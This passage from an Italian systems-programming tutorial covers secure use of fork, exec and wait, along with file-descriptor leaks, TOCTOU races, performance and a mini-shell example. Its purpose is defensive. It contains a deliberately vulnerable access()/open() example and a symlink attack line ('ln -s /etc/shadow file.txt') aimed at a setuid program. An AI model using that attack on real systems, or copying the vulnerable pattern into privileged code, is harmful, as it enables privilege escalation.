Le variabili d’ambiente rappresentano un vettore di attacco significativo, specialmente per programmi che eseguono con privilegi elevati (setuid/setgid). Variabili come LD_LIBRARY_PATH, LD_PRELOAD, PATH, e IFS possono essere manipolate da un attaccante per alterare il comportamento di programmi privilegiati: LD_PRELOAD può forzare il caricamento di librerie malevole, PATH può causare l’esecuzione di comandi trojan, IFS (Internal Field Separator) può manipolare il parsing di comandi shell. Quando si esegue un programma privilegiato tramite exec, è imperativo controllare completamente l’ambiente di esecuzione, fornendo esplicitamente solo le variabili necessarie con valori sicuri e predicibili. L’approccio più sicuro è costruire un ambiente minimo da zero invece di tentare di sanificare l’ambiente ereditato, che potrebbe contenere variabili sconosciute o inaspettate. L’uso di execle() permette di specificare esattamente quali variabili saranno disponibili al nuovo programma, garantendo che nessuna variabile potenzialmente pericolosa venga propagata.
// Prima di exec in programma privilegiato
char *safe_env[] = {
"PATH=/usr/bin:/bin",
"IFS= \t\n",
NULL
};
execle("/path/to/program", "program", arg1, (char *)NULL, safe_env);
Analisi dettagliata del codice:
Costruzione dell’ambiente sicuro (char *safe_env[]): invece di ereditare l’ambiente corrente (che potrebbe essere contaminato da un attaccante), si costruisce esplicitamente un array di stringhe contenente solo le variabili d’ambiente strettamente necessarie.
Impostazione di PATH ("PATH=/usr/bin:/bin"): limita la ricerca di eseguibili a directory di sistema trusted. Questo previene che un attaccante inserisca directory controllate all’inizio del PATH per intercettare chiamate a programmi esterni. Il PATH è ridotto al minimo indispensabile, escludendo directory scrivibili dall’utente come ., ~/bin, /tmp, ecc.
Definizione di IFS ("IFS= \t\n"): la variabile Internal Field Separator è usata dalla shell per separare parole. Un valore manipolato di IFS può causare parsing inatteso di comandi. Impostando esplicitamente IFS a spazio, tab, e newline (i valori standard), si prevengono attacchi che sfruttano IFS modificato.
Terminazione dell’array (NULL): come per gli array di argomenti, l’array di variabili d’ambiente deve terminare con un puntatore NULL per indicare la fine.
Uso di execle() (execle("/path/to/program", ...)): questa variante di exec accetta come ultimo parametro un array di variabili d’ambiente che sostituisce completamente l’ambiente corrente. Il programma eseguito vedrà solo le variabili in safe_env, niente di più.
Path assoluto ("/path/to/program"): si specifica il path completo dell’eseguibile invece di fare affidamento su PATH. Questo elimina ambiguità e previene l’esecuzione di programmi omonimi in directory non fidate.
Lista di argomenti ("program", arg1, (char *)NULL): gli argomenti vengono passati come lista variabile terminata da (char *)NULL. Il primo argomento è convenzionalmente il nome del programma.
Variabili d’ambiente pericolose da escludere:
LD_LIBRARY_PATH / LD_PRELOAD: possono forzare il caricamento di librerie arbitrarieTMPDIR: può redirigere file temporanei verso directory controllate dall’attaccanteSHELL: può alterare la shell usata da script o system()ENV: può causare l’esecuzione di script all’avvio di shellBASH_ENV / ENV / MAIL / LOGNAME: variabili specifiche di shell che influenzano il comportamentoBest practice aggiuntive:
char *empty_env[] = {NULL};) e lasciare che il programma configuri le proprie variabili.arg1), non solo l’ambiente.clearenv() prima di impostare variabili, se l’ambiente deve essere parzialmente preservato.7.1.3 File Descriptor Leaks
I file descriptor rappresentano un potenziale vettore di information disclosure in applicazioni che eseguono programmi esterni. Per default, tutti i descriptor aperti nel processo padre vengono ereditati dai processi figli e rimangono accessibili anche dopo una chiamata exec, a meno che non siano esplicitamente marcati con il flag FD_CLOEXEC (close-on-exec). Questo comportamento può essere problematico quando si eseguono programmi meno fidati o quando si gestiscono file sensibili: un programma esterno potrebbe accidentalmente o intenzionalmente leggere da o scrivere su descriptor ereditati, potenzialmente accedendo a informazioni riservate o corrompendo dati. La mitigazione di questo rischio richiede una strategia deliberata: i descriptor che non devono essere accessibili al programma eseguito devono essere esplicitamente chiusi prima della exec, oppure marcati con FD_CLOEXEC alla loro apertura o immediatamente dopo. La seconda opzione è preferibile perché è atomica e non soffre di race conditions in ambiente multithread, ma richiede supporto del kernel (disponibile in tutte le versioni moderne di Linux tramite il flag O_CLOEXEC in open()).
// Assicurarsi che descriptor sensibili siano chiusi
int fd = open("sensitive_data.txt", O_RDONLY);
fcntl(fd, F_SETFD, FD_CLOEXEC);
// Oppure chiudere esplicitamente prima di exec
close(fd);
Analisi dettagliata del codice:
Approccio 1: Flag FD_CLOEXEC
Apertura del file (open("sensitive_data.txt", O_RDONLY)): apre un file contenente dati sensibili in modalità sola lettura. Il descriptor risultante viene memorizzato in fd.
Impostazione del flag (fcntl(fd, F_SETFD, FD_CLOEXEC)): modifica i flag del descriptor tramite fcntl(). Il comando F_SETFD imposta i file descriptor flags, e FD_CLOEXEC è il flag che causa la chiusura automatica del descriptor quando il processo effettua una exec. Dopo questa chiamata, se il processo (o un suo figlio) invoca exec, fd verrà automaticamente chiuso prima che il nuovo programma inizi l’esecuzione.
Vantaggi di questo approccio:
Approccio 2: Chiusura esplicita
Chiusura prima di exec (close(fd)): chiude esplicitamente il file descriptor prima di invocare exec. Questo garantisce che il programma eseguito non avrà accesso al descriptor.
Limitazioni di questo approccio:
Best practice consigliate:
int fd = open("sensitive_data.txt", O_RDONLY | O_CLOEXEC);
Questo imposta FD_CLOEXEC atomicamente all’apertura, eliminando completamente race conditions. Disponibile su Linux 2.6.23+ e altri Unix moderni.
int flags = fcntl(fd, F_GETFD);
fcntl(fd, F_SETFD, flags | FD_CLOEXEC);
Questo preserva eventuali altri flag già impostati, aggiungendo solo FD_CLOEXEC.
// Chiudi tutti i descriptor tranne stdin/stdout/stderr
for (int i = 3; i < getdtablesize(); i++) {
close(i); // Ignora errori
}
Questo è meno efficiente ma garantisce che nessun descriptor ereditato sia accessibile.
Descriptor particolarmente sensibili da proteggere:
Implicazioni di sicurezza:
7.1.4 Race Condition TOCTOU
Le vulnerabilità TOCTOU (Time-Of-Check-Time-Of-Use) rappresentano una classe critica di race condition che si manifesta quando esiste una finestra temporale tra la verifica di una condizione e l’utilizzo della risorsa basato su quella verifica. In questo intervallo, un attaccante può modificare lo stato del sistema (ad esempio sostituendo un file con un link simbolico a un file sensibile), causando l’esecuzione di operazioni su risorse diverse da quelle verificate. Il problema è particolarmente grave in programmi privilegiati: se un processo setuid verifica i permessi su un file, e poi lo apre presumendo che sia ancora lo stesso file, un attaccante con tempismo preciso può sostituire il file nel mezzo, ottenendo accesso non autorizzato. La soluzione fondamentale è eliminare la finestra temporale eseguendo la verifica e l’utilizzo in un’unica operazione atomica, oppure utilizzare file descriptor invece di pathname per riferirsi alle risorse, dato che un descriptor si riferisce sempre alla stessa inode anche se il file viene spostato o sostituito nel filesystem.
// VULNERABILE
if (access("file.txt", W_OK) == 0) {
// Attaccante può sostituire file qui
int fd = open("file.txt", O_WRONLY); // Potrebbe aprire file diverso
}
// MIGLIORATO: usa open e verifica errori
int fd = open("file.txt", O_WRONLY);
if (fd < 0) {
perror("open");
} else {
// Ora sappiamo che fd si riferisce al file corretto
}
Analisi dettagliata del codice:
Esempio vulnerabile:
Check con access() (if (access("file.txt", W_OK) == 0)): verifica se l’utente corrente ha permesso di scrittura su “file.txt”. La funzione access() verifica i permessi usando i UID/GID reali del processo, non quelli effettivi, il che la rende apparentemente utile per programmi setuid.
Finestra di vulnerabilità: dopo che access() ritorna ma prima che open() venga invocata, c’è un intervallo di tempo misurabile (microsecondi o millisecondi) durante il quale un attaccante può:
/etc/passwd)Use con open() (int fd = open("file.txt", O_WRONLY);): apre “file.txt” in scrittura. A questo punto, “file.txt” potrebbe essere un file completamente diverso da quello verificato da access(). Se il programma è setuid root, potrebbe finire per scrivere su un file di sistema critico.
Scenario di exploit:
access() che l’utente può scrivere su “file.txt”ln -s /etc/shadow file.txt/etc/shadow) con permessi elevati/etc/shadow, compromettendo il sistemaEsempio migliorato:
Operazione atomica (int fd = open("file.txt", O_WRONLY);): tenta direttamente di aprire il file in scrittura senza verifica preliminare. Se l’operazione ha successo, fd si riferisce esattamente al file che è stato aperto, con i permessi verificati atomicamente dal kernel.
Verifica del risultato (if (fd < 0)): se open() fallisce, il file non esiste, i permessi sono insufficienti, o c’è un altro errore. Il programma può gestire l’errore appropriatamente.
Garanzia di consistenza (// Ora sappiamo che fd si riferisce al file corretto): dopo un open() riuscito, il file descriptor fd rimane valido e si riferisce alla stessa inode, indipendentemente da modifiche al filesystem. Anche se il file viene rinominato, spostato, o linkato altrove, fd continua a puntare allo stesso file.
Ulteriori tecniche di mitigazione:
int dirfd = open("/trusted/directory", O_RDONLY | O_DIRECTORY);
int fd = openat(dirfd, "file.txt", O_WRONLY);
Questo vincola le operazioni a una directory specifica identificata da descriptor, rendendo più difficili attacchi tramite path manipulation.
int fd = open("file.txt", O_WRONLY | O_NOFOLLOW); // O_NOFOLLOW rifiuta symlink
if (fd >= 0) {
struct stat st;
if (fstat(fd, &st) == 0) {
// Verifica proprietà del file tramite st
if (st.st_uid != expected_uid) {
close(fd);
// File non ha proprietario atteso
}
}
}
fstat() opera sul descriptor, non sul pathname, eliminando TOCTOU.
// Rifiuta symlink
int fd = open("file.txt", O_WRONLY | O_NOFOLLOW);
// Per creazione atomica
int fd = open("newfile.txt", O_WRONLY | O_CREAT | O_EXCL, 0600);
O_NOFOLLOW causa il fallimento se il path è un symlink, mentre O_EXCL con O_CREAT fallisce se il file già esiste.
// Invece di: rename("old", "new");
int oldfd = open("old", O_RDONLY);
int newfd = open("new", O_WRONLY | O_CREAT | O_EXCL, 0600);
// Copia dati tramite descriptor
Principi generali anti-TOCTOU:
access() in codice privilegiato7.2.1 Overhead della fork
La system call fork(), nonostante le ottimizzazioni offerte dal meccanismo Copy-on-Write, comporta comunque un overhead non trascurabile che può diventare un collo di bottiglia in applicazioni ad alta frequenza di creazione di processi. L’overhead deriva principalmente da tre componenti: (1) la duplicazione delle page table del processo padre, operazione che richiede allocazione di memoria kernel e copia di strutture dati; (2) la creazione e inizializzazione della task_struct (o struttura equivalente) che rappresenta il nuovo processo nel kernel, includendo la configurazione di scheduler, signal handling, limiti di risorse, e altri metadati; (3) l’inizializzazione del contesto di esecuzione del nuovo processo, incluso il setup delle priorità, delle credenziali di sicurezza, e delle relazioni con altri processi. Su sistemi moderni con grandi spazi di indirizzamento (multi-gigabyte), anche la sola duplicazione delle page table può richiedere millisecondi. Per applicazioni che devono gestire migliaia di richieste al secondo, questo overhead può saturare le capacità del sistema. In questi scenari, alternative come thread pool (per task leggeri che condividono memoria), vfork() (per fork immediatamente seguita da exec, benché deprecata), o clone() con flag specifici (su Linux, per controllo granulare della condivisione) possono offrire performance significativamente migliori, al costo di maggiore complessità nella gestione della sincronizzazione e della sicurezza.
Anche con COW, fork ha un costo:
Per carichi elevati, considerare:
// Thread pool invece di process pool per task leggeri
// vfork() per fork immediatamente seguita da exec (deprecato, usare con cautela)
// clone() su Linux per controllo fine-grained della condivisione
Analisi dettagliata delle alternative:
Thread pool per task leggeri: quando i task condividono lo stesso spazio di indirizzamento e non richiedono isolamento forte, i thread POSIX (pthread) offrono creazione molto più rapida e overhead minore. Un pool di thread precreati elimina completamente il costo di creazione per-task:
vfork() per pattern fork-exec: vfork() crea un processo figlio che condivide lo spazio di indirizzamento del padre fino all’invocazione di exec() o _exit(). Questo elimina la duplicazione delle page table, riducendo drasticamente l’overhead:
vfork() e exec(), il figlio deve fare SOLO: modificare variabili locali, chiamare exec(), o chiamare _exit()exit() (solo _exit())clone() per controllo fine-grained (Linux-specific): clone() permette di specificare esattamente quali risorse condividere tra padre e figlio tramite flag:
pid_t pid = clone(child_func, child_stack,
CLONE_VM | CLONE_FS | CLONE_FILES | SIGCHLD,
arg);
CLONE_VM: condividi spazio di indirizzamento (come thread)CLONE_FS: condividi informazioni filesystem (root, pwd, umask)CLONE_FILES: condividi tabella file descriptorCLONE_SIGHAND: condividi signal handlerpthread_create() per implementare threadConfronto prestazionale (ordini di grandezza su sistema moderno):
fork() tradizionale: 200-500 microsecfork() con COW ottimizzato: 50-200 microsecvfork(): 10-50 microsecclone() con condivisione memoria: 5-20 microsecpthread_create(): 1-10 microsecQuando usare cosa:
Best practice per minimizzare overhead di fork:
perf per identificare se fork è realmente il bottleneck7.2.2 Efficienza di exec
L’invocazione ripetuta di exec() per eseguire lo stesso programma con parametri diversi rappresenta un pattern inefficiente che può degradare significativamente le performance in scenari batch o pipeline processing. Ogni chiamata a exec() comporta: (1) caricamento dell’eseguibile dal filesystem, (2) parsing degli header ELF e configurazione dei segmenti di memoria, (3) risoluzione e caricamento delle librerie dinamiche, (4) relocation dei simboli e linking dinamico, (5) inizializzazione delle strutture runtime del programma (costruttori C++, inizializzatori globali). Su filesystem lenti o con eseguibili di grandi dimensioni, questo overhead può dominare il tempo totale di esecuzione, specialmente quando il lavoro effettivo per task è minimo. L’approccio ottimale è eseguire il programma una sola volta e passargli tutti i task da elaborare attraverso meccanismi di IPC come pipe, socket, o file condivisi. Questo pattern “long-running processor” mantiene il programma in memoria, evitando completamente l’overhead di setup ripetuto, e può inoltre beneficiare di cache (filesystem, TLB, CPU) già calde. Il trade-off è una maggiore complessità nel design dell’applicazione, che deve gestire un protocollo di comunicazione invece di semplici argomenti da linea di comando.
Evitare exec ripetute per lo stesso programma:
// INEFFICIENTE: exec per ogni task
for (int i = 0; i < 1000; i++) {
if (fork() == 0) {
execl("/usr/bin/processor", "processor", task[i], NULL);
}
wait(NULL);
}
// MIGLIORE: esegui processor una volta, passagli tutti i task via pipe/file
Analisi dettagliata del codice:
Approccio inefficiente:
Loop seriale (for (int i = 0; i < 1000; i++)): elabora 1000 task sequenzialmente, uno alla volta.
Fork per ogni task (if (fork() == 0)): crea un nuovo processo per ciascun task. Con 1000 task, questo significa 1000 fork, ognuna con il suo overhead di duplicazione page table e setup processo.
Exec per ogni task (execl("/usr/bin/processor", "processor", task[i], NULL);): per ogni task, carica completamente il programma processor da filesystem:
Attesa seriale (wait(NULL);): il padre attende il completamento di ogni figlio prima di procedere al prossimo. Questo è seriale e non sfrutta parallelismo.
Costo totale per 1000 task:
Approccio ottimizzato:
L’approccio migliore dipende dalle caratteristiche del programma processor:
Opzione 1: Pipe con batch processing
int pipefd[2];
pipe(pipefd);
if (fork() == 0) {
// Figlio: esegue processor una volta
close(pipefd[1]); // Chiudi scrittura
dup2(pipefd[0], STDIN_FILENO);
close(pipefd[0]);
execl("/usr/bin/processor", "processor", "--batch", NULL);
exit(EXIT_FAILURE);
}
// Padre: scrive tutti i task sulla pipe
close(pipefd[0]); // Chiudi lettura
for (int i = 0; i < 1000; i++) {
write(pipefd[1], task[i], strlen(task[i]));
write(pipefd[1], "\n", 1);
}
close(pipefd[1]); // Chiudi pipe = EOF per processor
wait(NULL);
Analisi:
Opzione 2: File con lista di task
// Crea file con tutti i task
FILE *fp = fopen("/tmp/tasks.txt", "w");
for (int i = 0; i < 1000; i++) {
fprintf(fp, "%s\n", task[i]);
}
fclose(fp);
// Esegui processor una volta con file input
if (fork() == 0) {
execl("/usr/bin/processor", "processor",
"--input-file", "/tmp/tasks.txt", NULL);
exit(EXIT_FAILURE);
}
wait(NULL);
unlink("/tmp/tasks.txt");
Vantaggi:
processor supporta file inputARG_MAX)Opzione 3: Socket Unix per comunicazione bidirezionale
int sockfd[2];
socketpair(AF_UNIX, SOCK_STREAM, 0, sockfd);
if (fork() == 0) {
// Processor come server persistente
close(sockfd[0]);
dup2(sockfd[1], STDIN_FILENO);
dup2(sockfd[1], STDOUT_FILENO);
execl("/usr/bin/processor", "processor", "--server-mode", NULL);
}
close(sockfd[1]);
for (int i = 0; i < 1000; i++) {
// Invia task
send(sockfd[0], task[i], strlen(task[i]), 0);
// Ricevi risultato
char result[1024];
recv(sockfd[0], result, sizeof(result), 0);
// Processa risultato
}
close(sockfd[0]);
wait(NULL);
Vantaggi:
Ulteriori ottimizzazioni:
LD_PRELOAD o costruire processor come libreria dinamica da caricare una voltaQuando l’approccio inefficiente è accettabile:
7.2.3 Gestione di Molti Processi Figli
In applicazioni server che gestiscono centinaia o migliaia di processi figli concorrenti (ad esempio web server, application server, task processor distribuiti), la strategia di sincronizzazione diventa critica per le performance complessive. L’approccio naive di usare un loop bloccante con wait() nel processo principale presenta limitazioni severe: (1) scala male con molti processi perché il loop deve iterare sequenzialmente attraverso ogni terminazione, (2) blocca il processo principale impedendo di accettare nuove richieste o eseguire altre operazioni, (3) può causare accumulo di processi zombie se i figli terminano più velocemente di quanto il padre riesca a raccoglierli. L’approccio raccomandato utilizza un signal handler asincrono per SIGCHLD che raccoglie i processi zombie non appena terminano, in background, senza bloccare il flusso principale dell’applicazione. Questo handler deve usare waitpid() con flag WNOHANG in un loop per garantire che tutti i figli terminati vengano raccolti, poiché i segnali possono essere “coalescenti” (multipli SIGCHLD possono risultare in un’unica invocazione dell’handler). Critico è anche preservare e ripristinare errno nell’handler per prevenire che system call del main thread vengano influenzate dal processing del segnale.
Per applicazioni con centinaia di figli:
// Usare waitpid con WNOHANG in handler SIGCHLD
void sigchld_handler(int sig) {
int saved_errno = errno;
while (waitpid(-1, NULL, WNOHANG) > 0);
errno = saved_errno;
}
// Invece di loop bloccante in main:
// while ((pid = wait(NULL)) > 0);
Analisi dettagliata del codice:
Approccio ottimizzato (handler asincrono):
Firma dell’handler (void sigchld_handler(int sig)): funzione che verrà invocata automaticamente dal kernel ogni volta che un processo figlio termina o cambia stato. Il parametro sig conterrà il valore SIGCHLD.
Salvataggio di errno (int saved_errno = errno;): questa linea è CRITICA. Gli signal handler possono essere invocati in qualsiasi momento, anche nel mezzo di una system call che ha appena impostato errno. Se l’handler modifica errno (cosa che waitpid() può fare), il codice interrotto potrebbe vedere un valore di errno inatteso, causando comportamenti errati. Salvare e ripristinare errno garantisce che l’handler sia “trasparente” rispetto a questo stato globale.
Loop di raccolta (while (waitpid(-1, NULL, WNOHANG) > 0);): questo è il cuore dell’handler. Analizziamolo in dettaglio:
waitpid(-1, ...): raccoglie qualsiasi processo figlio terminatoNULL: ignora lo status di terminazione (non ci interessa analizzarlo nell’handler)WNOHANG: non bloccare; se nessun figlio è pronto, ritorna immediatamente 0waitpid() ritorna un PID > 0, indicando che un figlio è stato raccoltowaitpid() ritorna 0 e il loop terminaNecessità del loop: questo è fondamentale. I segnali non sono accodati: se 10 figli terminano quasi simultaneamente, potrebbero risultare in un solo SIGCHLD. Il loop garantisce che tutti vengano raccolti.
Ripristino di errno (errno = saved_errno;): ripristina il valore originale di errno, rendendo l’handler trasparente al codice interrotto.
Perché questo è più efficiente del loop bloccante:
Approccio inefficiente (loop bloccante):
while ((pid = wait(NULL)) > 0) {
// Elabora terminazione
}
Problemi:
wait() e nuove operazioni, diventa zombie fino al prossimo loopApproccio efficiente (handler asincrono):
Setup completo dell’handler:
void setup_sigchld_handler() {
struct sigaction sa;
// Configura handler
sa.sa_handler = sigchld_handler;
// Maschera vuota: non bloccare altri segnali durante handler
sigemptyset(&sa.sa_mask);
// Flag importanti:
sa.sa_flags = SA_RESTART; // Riavvia syscall interrotte
// sa.sa_flags |= SA_NOCLDSTOP; // Non ricevere SIGCHLD per stop/continue
// Installa handler
if (sigaction(SIGCHLD, &sa, NULL) == -1) {
perror("sigaction");
exit(EXIT_FAILURE);
}
}
Considerazioni avanzate:
Signal-safety: all’interno di un signal handler, si possono chiamare solo funzioni “async-signal-safe”. waitpid() è safe, printf() non lo è. Questo è il motivo per cui l’handler esempio è così minimalista.
Raccolta dello status: se serve analizzare come i processi sono terminati:
void sigchld_handler(int sig) {
int saved_errno = errno;
int status;
pid_t pid;
while ((pid = waitpid(-1, &status, WNOHANG)) > 0) {
// Memorizza info in struttura dati globale signal-safe
// O usa write() su pipe verso main thread per notifica
}
errno = saved_errno;
}
// Setup globale
int signal_pipe[2];
void sigchld_handler(int sig) {
int saved_errno = errno;
char byte = 1;
while (waitpid(-1, NULL, WNOHANG) > 0) {
write(signal_pipe[1], &byte, 1); // Signal-safe
}
errno = saved_errno;
}
// In main thread
void event_loop() {
fd_set readfds;
FD_ZERO(&readfds);
FD_SET(signal_pipe[0], &readfds);
// Altri fd...
select(max_fd, &readfds, NULL, NULL, NULL);
if (FD_ISSET(signal_pipe[0], &readfds)) {
char buf[256];
read(signal_pipe[0], buf, sizeof(buf));
// Processa notifiche di terminazione figli
}
}
waitpid() scala a O(n) dove n è numero di processi terminati simultaneamentewaitid() con P_ALL può essere più efficienteMetriche di efficienza:
7.3.1 Limiti di Processi
# Limite per utente
ulimit -u
# Limite globale (Linux)
cat /proc/sys/kernel/pid_max
cat /proc/sys/kernel/threads-max
Programmi robusti dovrebbero gestire EAGAIN da fork:
pid_t pid;
int retries = 5;
while ((pid = fork()) < 0 && retries-- > 0) {
if (errno == EAGAIN) {
sleep(1); // Attendi e riprova
} else {
perror("fork");
exit(EXIT_FAILURE);
}
}
if (pid < 0) {
fprintf(stderr, "fork failed dopo retry\n");
exit(EXIT_FAILURE);
}
7.3.2 Limiti di Memoria
ENOMEM da fork indica insufficiente memoria per le strutture kernel:
if (fork() < 0) {
if (errno == ENOMEM) {
// Liberare risorse, ridurre footprint
// Tentare garbage collection se applicabile
// Loggare e possibilmente terminare gracefully
}
}
7.3.3 Limiti su Argomenti exec
La dimensione totale di argv e envp è limitata (tipicamente ARG_MAX, ~2MB):
#include <unistd.h>
#include <stdio.h>
int main() {
long arg_max = sysconf(_SC_ARG_MAX);
printf("ARG_MAX: %ld bytes\n", arg_max);
return 0;
}
7.4.1 Gestione Robusta degli Errori
pid_t pid = fork();
if (pid < 0) {
// Logging dettagliato
fprintf(stderr, "fork failed: %s\n", strerror(errno));
// Cleanup risorse
// ...
// Decisione appropriata: retry, fallback, terminazione
exit(EXIT_FAILURE);
}
7.4.2 Chiusura Completa dei Descriptor
// Nel figlio, prima di exec
for (int fd = 3; fd < sysconf(_SC_OPEN_MAX); fd++) {
close(fd); // Ignora errori
}
// O marca tutti i nuovi descriptor con CLOEXEC:
int fd = open("file.txt", O_RDONLY | O_CLOEXEC);
7.4.3 Prevenzione di Zombie
// Metodo 1: wait esplicito
wait(NULL);
// Metodo 2: signal handler
signal(SIGCHLD, SIG_IGN);
// Metodo 3: handler con waitpid
void handler(int sig) {
while (waitpid(-1, NULL, WNOHANG) > 0);
}
7.4.4 Documentazione del Comportamento
Commentare chiaramente quando un processo:
Questo facilita manutenzione e debugging.
Il presente documento ha esplorato in modo sistematico e approfondito le primitive fondamentali per la gestione dei processi in ambiente Unix/Linux. Ricapitoliamo i concetti chiave:
getpid e getppid: forniscono identificazione univoca dei processi, elemento essenziale per coordinazione e debugging.
fork: implementa il modello di creazione per duplicazione, creando un processo figlio come copia quasi esatta del padre. Il meccanismo Copy-on-Write garantisce efficienza, mentre la semantica chiara e predicibile facilita la programmazione.
famiglia exec: permette la sostituzione del codice in esecuzione, trasformando un processo in un altro. La varietà di funzioni (execl, execv, execlp, execvp, execle, execvpe) offre flessibilità nella specifica di programma, argomenti e ambiente.
wait e waitpid: realizzano la sincronizzazione padre-figlio, permettendo al padre di attendere la terminazione dei figli e recuperare informazioni sul loro stato di uscita. Le macro WIFEXITED, WEXITSTATUS, WIFSIGNALED, ecc. permettono analisi dettagliata dello status.
La combinazione di queste primitive, apparentemente semplici, permette la costruzione di architetture software complesse e sofisticate. Il pattern fork-exec è alla base di shell, server web, sistemi di compilazione e innumerevoli altri strumenti Unix.
Sebbene le primitive discusse abbiano oltre 40 anni, rimangono fondamentali nei sistemi Unix moderni. Tuttavia, l’evoluzione tecnologica ha introdotto alternative e estensioni:
8.2.1 Thread (pthread)
Per concorrenza all’interno dello stesso spazio di indirizzamento:
#include <pthread.h>
void *thread_function(void *arg) {
// Codice del thread
return NULL;
}
pthread_t thread;
pthread_create(&thread, NULL, thread_function, NULL);
pthread_join(thread, NULL);
I thread condividono memoria, file descriptor e altre risorse, rendendo la comunicazione più efficiente ma introducendo complessità nella sincronizzazione.
8.2.2 clone (Linux-specific)
System call più flessibile che permette controllo fine-grained sulla condivisione:
#include <sched.h>
int child_func(void *arg) {
// Codice del figlio
return 0;
}
char stack[8192];
pid_t pid = clone(child_func, stack + 8192,
CLONE_VM | CLONE_FS | SIGCHLD, NULL);
8.2.3 posix_spawn
API di alto livello che combina fork ed exec:
#include <spawn.h>
extern char **environ;
char *argv[] = {"ls", "-l", NULL};
pid_t pid;
posix_spawn(&pid, "/bin/ls", NULL, NULL, argv, environ);
waitpid(pid, NULL, 0);
Potenzialmente più efficiente poiché può evitare la duplicazione completa dello spazio di indirizzamento.
8.2.4 Container e Namespace (Linux)
Tecnologie moderne per isolamento dei processi:
// Creazione di namespace separati
unshare(CLONE_NEWPID | CLONE_NEWNET | CLONE_NEWNS);
Fondamentali per virtualizzazione a livello di sistema operativo (Docker, LXC).
La padronanza delle primitive fork, exec, wait e waitpid è essenziale per chiunque sviluppi software di sistema su piattaforme Unix/Linux. Queste primitive non sono semplicemente API da invocare, ma rappresentano concetti architetturali fondamentali che influenzano profondamente la progettazione software.
Vantaggi del modello Unix:
Sfide e attenzioni:
In conclusione, le system call per la gestione dei processi costituiscono uno dei pilastri dell’architettura Unix, dimostrando come principi di design semplici e ben concepiti possano produrre sistemi potenti, flessibili e duraturi. La loro comprensione approfondita non solo abilita lo sviluppo di software di sistema efficace, ma fornisce anche intuizioni preziose sui principi generali di progettazione software e architetturale.
Testi Fondamentali:
W. Richard Stevens, Stephen A. Rago, Advanced Programming in the UNIX Environment, 3rd Edition, Addison-Wesley, 2013.
Michael Kerrisk, The Linux Programming Interface, No Starch Press, 2010.
Brian W. Kernighan, Rob Pike, The UNIX Programming Environment, Prentice Hall, 1984.
Standard e Specifiche:
IEEE Std 1003.1-2017 (POSIX.1-2017), The Open Group Base Specifications Issue 7.
The Single UNIX Specification, Version 4 (SUSv4).
Documentazione di Sistema:
man o online su https://man7.org/Risorse Online:
The Linux Kernel Archives, https://www.kernel.org/
GNU C Library Documentation, https://www.gnu.org/software/libc/manual/
Articoli Tecnici:
Dennis M. Ritchie, Ken Thompson, “The UNIX Time-Sharing System”, Communications of the ACM, Vol. 17, No. 7, July 1974.
Maurice J. Bach, The Design of the UNIX Operating System, Prentice Hall, 1986.
| System Call | Header | Scopo | Ritorno Successo | Ritorno Errore |
|---|---|---|---|---|
getpid() |
<unistd.h> |
Ottiene PID corrente | PID (sempre) | N/A (infallibile) |
getppid() |
<unistd.h> |
Ottiene PID del padre | PPID (sempre) | N/A (infallibile) |
fork() |
<unistd.h> |
Crea processo figlio | 0 (figlio), PID>0 (padre) | -1, errno impostato |
execl() |
<unistd.h> |
Esegue programma (lista) | Non ritorna | -1, errno impostato |
execlp() |
<unistd.h> |
Esegue programma (lista, PATH) | Non ritorna | -1, errno impostato |
execle() |
<unistd.h> |
Esegue programma (lista, env) | Non ritorna | -1, errno impostato |
execv() |
<unistd.h> |
Esegue programma (array) | Non ritorna | -1, errno impostato |
execvp() |
<unistd.h> |
Esegue programma (array, PATH) | Non ritorna | -1, errno impostato |
execvpe() |
<unistd.h> |
Esegue programma (array, PATH, env) | Non ritorna | -1, errno impostato |
wait() |
<sys/wait.h> |
Attende figlio qualsiasi | PID figlio | -1, errno impostato |
waitpid() |
<sys/wait.h> |
Attende figlio specifico | PID figlio o 0 | -1, errno impostato |
| Codice errno | Significato | Contesto Tipico |
|---|---|---|
EAGAIN |
Resource temporarily unavailable | fork(): limite processi raggiunto |
ENOMEM |
Out of memory | fork(): memoria insufficiente |
ECHILD |
No child processes | wait(), waitpid(): nessun figlio da attendere |
EINTR |
Interrupted system call | wait(), waitpid(): interrotto da segnale |
E2BIG |
Argument list too long | exec*(): troppi argomenti o ambiente troppo grande |
EACCES |
Permission denied | exec*(): file non eseguibile |
ENOENT |
No such file or directory | exec*(): file non trovato |
ENOEXEC |
Exec format error | exec*(): formato eseguibile non riconosciuto |
ETXTBSY |
Text file busy | exec*(): file aperto in scrittura |
Applicazione: mini-shell semplificata
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/wait.h>
#define MAX_ARGS 64
#define MAX_LINE 1024
void parse_command(char *line, char **args) {
int i = 0;
char *token = strtok(line, " \t\n");
while (token != NULL && i < MAX_ARGS - 1) {
args[i++] = token;
token = strtok(NULL, " \t\n");
}
args[i] = NULL;
}
int execute_command(char **args) {
pid_t pid = fork();
if (pid < 0) {
perror("fork");
return -1;
} else if (pid == 0) {
// Processo figlio
if (execvp(args[0], args) < 0) {
perror("exec");
exit(EXIT_FAILURE);
}
} else {
// Processo padre
int status;
waitpid(pid, &status, 0);
if (WIFEXITED(status)) {
return WEXITSTATUS(status);
} else if (WIFSIGNALED(status)) {
printf("Terminato da segnale %d\n", WTERMSIG(status));
return -1;
}
}
return 0;
}
int main() {
char line[MAX_LINE];
char *args[MAX_ARGS];
printf("Mini-Shell - digita 'exit' per uscire\n");
while (1) {
printf("$ ");
fflush(stdout);
if (fgets(line, MAX_LINE, stdin) == NULL) {
break; // EOF
}
// Rimuovi newline finale
line[strcspn(line, "\n")] = 0;
// Ignora linee vuote
if (strlen(line) == 0) {
continue;
}
// Comando built-in: exit
if (strcmp(line, "exit") == 0) {
break;
}
// Parsing e esecuzione
parse_command(line, args);
if (args[0] != NULL) {
// Comando built-in: cd
if (strcmp(args[0], "cd") == 0) {
if (args[1] == NULL) {
fprintf(stderr, "cd: argomento mancante\n");
} else if (chdir(args[1]) < 0) {
perror("cd");
}
} else {
// Comando esterno
execute_command(args);
}
}
}
printf("Arrivederci!\n");
return 0;
}
Compilazione ed esecuzione:
gcc -Wall -o minishell minishell.c
./minishell
Funzionalità:
execvp()cd, exitLimitazioni (per semplicità didattica):
|)>, <)&)Questa applicazione dimostra l’integrazione pratica di tutti i concetti trattati: fork() per creare processi, exec() per eseguire programmi, wait() per sincronizzazione e gestione dello status.
Fine del Documento
Note sulla Compilazione degli Esempi:
Tutti gli esempi di codice presentati in questo documento possono essere compilati con un compilatore C standard (gcc, clang) su sistemi Unix/Linux:
